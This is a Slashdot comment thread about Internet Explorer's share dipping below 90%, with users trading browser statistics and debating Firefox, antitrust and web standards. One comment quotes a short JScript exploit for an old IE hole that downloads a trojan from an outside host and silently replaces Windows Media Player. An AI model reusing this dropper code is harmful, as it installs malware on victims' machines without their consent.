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Internet Explorer's Share Dips Below 90%
sheepoo writes "CNN has a story stating that, according to a WebSideStory report, Internet Explorer has slipped below 90% usage share for the first time." From the article: "Firefox, an open-source browser collectively developed by the Internet community under the Mozilla Foundation, had a 6.8 percent share as of April 29, an increase from 3.0 percent since WebSideStory began tracking Firefox separately in October."
Googledot receives a few hits everytime someone mentions it on Slashdot. I've been keeping track of the hits and such, which show 67% of slashdotters (who are willing to click a link for a laugh) are using firefox, and only 14.5% of them are using Internet Explorer. It is interesting to look at how many people still use Windows over *nix too. I guess it is all very much depending on what type of website you're counting from too.
You can look at a few statistics here that have been collected since over a few months.
Proceed with Format (Y/N)? Y
but I haven't run into any sites lately that require IE. Recent Mozilla handles everything just fine. Apart form some minor rendering weirdness on a few sites I haven't had to jump over to IE for anything.
Now "only" 9 out of every 10 systems uses IE. Hopefully FireFox will continue to grow and IE will continue to shrink.. of course that will be tough when Microsoft copies all of Firefox's features in the next release of IE.
=-=-=-=-=-=-=-= - The Celtic - =-=-=-=-=-=-=-=
What does 90% market share really mean? I use both IE and Firefox on the same machine. Do they both get counted?
I love vague facts and figures
Oh my god! Microsoft's monopoly level has fallen from "complete total dominance" down to "utterly terrifying massively overwhelming" in web browsers.
But, wait, actually. Seriously for a second. Isn't this exactly the type of competition that the DOJ argued would/could never happen as long IE was integrated into Windows? Wasn't the argument that IE was illegal tying because there would not be competition due to MS's dominance with Windows?
Firefox has managed to take ~7% of the market in a short period of time from a massively well-funded competitor on an ultra, ultra, ultra shoestring budget. This kinda proves what MS was saying, and disproves what the DOJ was saying.
If posessing 90% of a market denotes an "almost dead" product, I'm glad you're not MY boss! Sheesh!
Maybe when IE has less than 10%, you can start calling it "almost dead".
"Ask not what your country can do for you." --John F. Kennedy
...for, I dunno, *this* page, which still doesn't render right in Firefox.
Reminds me alot of this article on /. talking about IE being below 90% 2 months ago.
http://slashdot.org/article.pl?sid=05/03/19/053720 5&tid=154&tid=1
"The only war the French have ever won was their revolutionary war... sad that it means that they also lost that one..."
If you could track stats like whether the clicker was at work or not, you'd probably find a high correlation between work==Winshit/IE, home==*nix/!IE.
Engineering is the art of compromise.
FireFox has tallied up 15.52 percent of the hits to my site since May 1.
It's probably based on the platform you use to work on.
When i was at school i predominantly surfed from linux, at work it's predominantly solaris, and when i change jobs i'll be back to windows.
If you are in the computer field then you pretty much run whatever OS is required for your job.
Internet Explorer has slipped below 90% usage share for the first time.
First time? Was the author born after 1998?
Speak truth to power.
LOL.. is this a troll? I'll bite. Let's see.. FireFox has had a few bad security flaws recently (most had patches release the SAME DAY), is not integrated with the OS (this is a GOOD thing from a security standpoint) and offers MUCH greater functionality (www.mozdev.org). IE offers LESS functionality, is like swiss cheese when it comes to vulnerabilities and you have to wait until Microsoft decides to release a patch once a hole is discoverd. Of course IE is "compatible" with more sites (as long as you don't consider RFC compliance or if the site adheres to any internet standards).
=-=-=-=-=-=-=-= - The Celtic - =-=-=-=-=-=-=-=
See this is a new type of business model that Microsoft can't beat. It used to be that when they decided to bundle or bully, competitors are dead.
No more. Firefox doesn't need to make $ to survive, so M$ can't beat by price. Bundling won't work either because broadband is everywhere.
Now, the killer app (analogy) is reputation. IE has been branded as spyware/exploit-ridden. People want an alternative. IE has lost its credibility.
eTrade SUCKS
So, even before it was writte^H^H^H^H^H^Hcopied from Mosaic, it had 90% market share? That's AMAZING! :)
You are not the customer.
That IE has 90% is a clear demonstration that the DOJ anti-trust stuff is having no real impact on slowing the Microsoft monopoly.
Engineering is the art of compromise.
Safari's no Mozilla-based, it's KHTML-based.
Okay, just curious, but wondered how much of the traffic measured accounts for, knows about, figures in, etc., for Firefox "reporting in" as Internet Explorer so as not to get rejected from using that site. I have mine set to be "Internet Explorer" for my on-line banking (go figure). Think it would add any significant usage for Firefox?
I hope that this data will motivates webmasters and site designers to create more universally viewable sites.
Two wrongs don't make a right, but three lefts do.
Firefox has managed to take ~7% of the market in a short period of time from a massively well-funded competitor on an ultra, ultra, ultra shoestring budget.
"Ultra shoestring budget"? Relative to Microsoft sure, but the vast majority of Mozilla development occured with the direct financial support of AOL, Sun and what was left of Netscape after the buyout with numerous other companies contributing. The Mozilla foundation was given millions of dollars to get started. While none of that in any way detracts from how impressive their accomplishment is, I would hardly describe them as working on "an ultra, ultra, ultra shoestring budget."
It had less than 90% long ago, in the before time...
Appended to the end of comments you post. 120 chars.
f(x) = number of user
f'(x) = growth = growth rate
f''(x) = grown increase rate
So
Decrease in growth rate == decrease in growth
In related news, according to this story, IBM employees (numbering +- 300,000) are urged to switch over to Firefox. That should help the numbers even more
...if Firefox (or any other browser) were installed with Windows machines by default like IE, said browser's share would be much higher. MUCH higher.
People use what's put in front of them. IE's 90% share doesn't mean it's that much better than the alternatives.
"People" using "unnecessary" quotes should be "shot".
No.
The breakdown of the top 15 is:
1 82.63% Mozilla
2 14.70% Microsoft Internet Explorer
3 0.46% Opera/8.0 (Windows NT 5.1; U; en)
4 0.25% msnbot/1.0 (+http://search.msn.com/msnbot.htm)
5 0.25% Googlebot/2.1 (+http://www.google.com/bot.html)
6 0.21% Mediapartners-Google/2.1
7 0.18% Microsoft URL Control - 6.01.9782
8 0.16% Opera/8.0 (X11; Linux i686; U; en)
9 0.10% Opera/8.0 (Windows NT 5.0; U; en)
10 0.07% Opera/7.54 (Windows NT 5.1; U) [en]
11 0.07% Opera/7.54 (X11; Linux i686; U) [en]
12 0.02% Avant Browser (http://www.avantbrowser.com/
13 0.02% Opera/7.20 (Windows NT 5.0; U) [en]
14 0.02% Googlebot/2.1 (+http://www.googlebot.com/bot.html)
15 0.02% Links (2.1pre17; Linux 2.6.10-gentoo-r1 i686; x)
"I'd rather be a lightning rod than a seismometer." -Ken Kesey
(answering myself) - maybe lobbing to the windows 98 users? AFAIK people using windows 98 makes around 50% of the people who uses internet. Internet explorer 7 will not be released for windows 98 and in fact Microsoft should already have stopped updating it with security fixes (windows 98 is 7 years old)
May be we could use a catch phrase, say "the one secure option for windows 98/me/NT 4.0" "Microsoft forgot of your Windows 98 box? Try firefox". Or something like that.
Anybody that ever switched from Firefox back to IE for security reasons, respond to this...
You haven't visited http://weightwatchers.com have you?
I went there with Firefox 1.0.4. If you examine the URL they forward you to and the site itself you learn that their web masters assume Firefox doesn't support JavaScript or Cookies, and there's no "Click here to use the site anyway" like button.
I had an exchange with their customer service a month or two ago about this, and their reply amounted to saying they wouldn't support an "unpopular" browser.
I sent back an article about Firefox having more users than all non IE browsers combines, and they sent back the same form letter about not supporting every browser.
Funny thing is, if I spoof my browser string as Internet Explorer 34691.0.45.72.22222 running on Windows THFFFT, the site works fine. I haven't signed up yet though, since I won't spend my money on a site that require me to futz around with obscure browser settings to work.
I also found it odd that their email replies seemed to consider Firefox to be an Opera variant.
"Live Free or Die." Don't like it? Then keep out of the USA
Yes, a decrease in growth does exactly equal the decrease in the rate of growth. That's what growth means. The rate of increase. The rate of growing.
Did you mean to say that a decrease in growth isn't the same thing as a decrease in the number of users? That's true, and maybe not as obvious to a lot of people as it should be.
Don't blame me; I'm never given mod points.
No Safari? Do these stats lump it in with Mozilla, or something? Or does it really have less than 0.02% marketshare? :p
Why do people assume that the only reason for not using Microsoft products is that you don't like Microsoft?
I don't use Cubase because I hate Emagic, or PSP because I don't like Adobe.
I do use Firefox because it works fine, and I have not had any spyware since I started using it. It's quite simple really, and if Microsoft comes out with a better browser, I'll use that. They are both 'free' as I got explorer free with Windows.
I wonder why they have manipulated the statistics like that. They split Opera into different versions and systems, while not doing the same for IE and "Mozilla". In the case of Mozilla it's even worse, the lack of Firefox suggest they lump all Gecko based browsers together as Mozilla. Besides where are Konqueror and Safari?
Bzzt, wrong!
Firefox renders to something called a standard.
Slashdot is absolutely nowhere near any known web standard.
Thus, Slashdot's HTML is ballsed up. Firefox may stand a better chance with valid HTML, the other browsers are using 'quirks' mode and rendering what they think the page should say, not what it does.
How many people can read hex if only you and dead people can read hex?
How does it count people using a browser that reports it is a different browser to not be blocked from content?
*Cough*
I don't have anywhere to host pictures, but using Safari just changing the User Agent gets you different style sheets. Net effect is some stories render horribly when it serves a Safari page, but fine when it serves an I.E., both in Safari. I'm not going to accuse them that that is their goal, but it has definitely happened and changing the User Agent reveals no problems that required a separate style sheet.
R: That voice. Where have I heard that voice before? B: In about 365 other episodes. But I don't know who it is either.
Also add in that Microsoft pretty much disbanded their IE team for several years, so that meant there was no improved competition for Firefox. If Microsoft had continued to work on IE (adding tabs, anti-popup, more security etc) then I wonder how much market Firefox would have now.
I just took at quick look at our NetTracker database and found that currently 9.5% of our visitors are using Mozilla. This is from a site that about 5 million hits a week. Keep in mind, our clientel is mainly composed of stupid daytraders, so 9.5% is quite good!
Still #1 -- Lonely Gay Geek
Bill Gates: "Internet Explorer has fallen below 90% of the browser market! We still have total dominance! OSS is a dismal failure! Buy Windows XP!"
You must think in Russian.
You don't go directly from 0 to >50%. This is your basic "Tipping point" type of sociology. The first 10% is INCREDIBLY difficult to get. Once it becomes 'clear' that most of the trend setters are using something other than IE, there will be a fairly quick move to >50%. That is the basic premise of the "Tipping Point". I won't speculate on what the 'tipping point' percentage actually is but I would claim that we are well on the way there...
firefox does not render the web according to a standard. check this test if you dont believe me:
http://www.webstandards.org/act/acid2/
no browser renders the web according to the standards. have you ever tried writing a website to work across all browsers?
even safari (the only browser so far to pass acid2) doesn't render according to standards - they had to hack the code to make it render the parts of the standards that acid2 touched on (not the entire standard).
Firefox has a bug, deal with it.
http://www.maxthon.com/
Really makes the switch from browsing at home to work alot smoother, even if it isn't a perfect solution. What it really makes me think though - if these guys can get tabbed browsing and whatnot into the current IE, why is MS not doing the same thing to slow lost market share to more usable/secure browsers???
Of that 83%, 64.6% contain the word firefox.
"I'd rather be a lightning rod than a seismometer." -Ken Kesey
There's no such thing as 100% "safe", unless you disconnect your network cable and live in a bunker. I think the correct term for Firefox over Internet Explorer would be "safer".
And yes, I think firefox is safe compared to internet exploiter. I switched originally to Mozilla 1.5 or 1.6 after reading this webpage
Here's the main chunk of offending exploit code (I'm pretty sure Microsoft finally fixed this after MANY months, since this is an old exploit)
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://adversting.co.uk/a.exe",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
What does it do? Well it downloads a.exe (a nasty trojan), and replaces windows media player with it (no warning or comfirmation dialog, just auto installs it!). Of course, this only works if your logged in with admin priviledges, and I bet 75% or more windows users are "admin".
I personally use Windows XP as admin for regular daily use, I know this isn't secure, but I have no choice. Running as admin is the only way 50% or more of my applications and games will run at all. I've run as admin for 2 years now on this computer, and have never got a virus or trojan or worm or anything. I use firefox and this helps, with Internet Explorer, running as admin would be a death trap.
I've tried to create a limited use account on multiple occasions, set it up to look and feel exactly like my current admin account, and try to do anything productive. It's a pain in the ass to put it lightly. I end up deleting the limited use account after 1 hour and going back to admin only.
You're both right. Firefox supports html standards (though not the full CSS standard, hence the Acid2 problems). And yes, slashdot is absolute crap, the code is HTML 3.2, and it's totally non-standard. Alistapart.com did a retooling of slashdot to standards compliant XHTML and CSS, and it worked fine.
/. using the standards.
Yes, there's a bug...and yes, it's fixed in any of the nightly builds of FF, and will be fixed in FF 1.1
However, if slashdot was valid XHTML and CSS instead of nested table after nested table with invalid elements, it would go a long way toward preventing the problem. I can't say it would fix it for sure, but the problem certainly wasn't there on the retooling ALA did of
So you're both right: it's a bug, but the slashcode html generation is crap, too.
-Jay
Are you interested in local stats? :>
Poland, 28th April:
Microsoft IE 83,1%
Mozilla Firefox 9,6%
Opera 5,1%
Mozilla 1.6%
So it's very probable that by now it has 10%
One that hath name thou can not otter